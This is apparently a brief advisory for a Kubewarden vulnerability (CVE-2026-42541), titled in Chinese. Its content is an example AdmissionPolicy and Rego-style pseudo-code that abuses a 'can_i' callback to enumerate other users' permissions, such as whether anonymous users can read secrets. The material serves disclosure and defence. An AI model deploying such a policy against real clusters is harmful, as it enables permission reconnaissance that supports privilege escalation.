CVE-2026-42541 Kubewarden 信息泄露与权限枚举漏洞

# Example Policy Definition demonstrating the exploit logic apiVersion: policies.kubewarden.io/v1 kind: AdmissionPolicy metadata: name: rbac-recon-policy spec: module: registry://ghcr.io/kubewarden/policies/recon-policy:v1 # The policy utilizes the vulnerable 'can_i' callback # to probe permissions of other users within the cluster. rules: - apiGroups: [""] resources: ["pods"] operations: ["CREATE"] mutating: false # Settings passed to the WASM module to trigger the check settings: target_user: "system:anonymous" check_verb: "get" check_resource: "secrets" # Inside the WASM module (e.g. Rego pseudo-code): # package verify # import future.keywords.if # default allow = false # allow if { # # Trigger the vulnerable callback # response := can_i({ # "user": input.settings.target_user, # "verb": input.settings.check_verb, # "resource": input.settings.check_resource # }) # response.allowed # }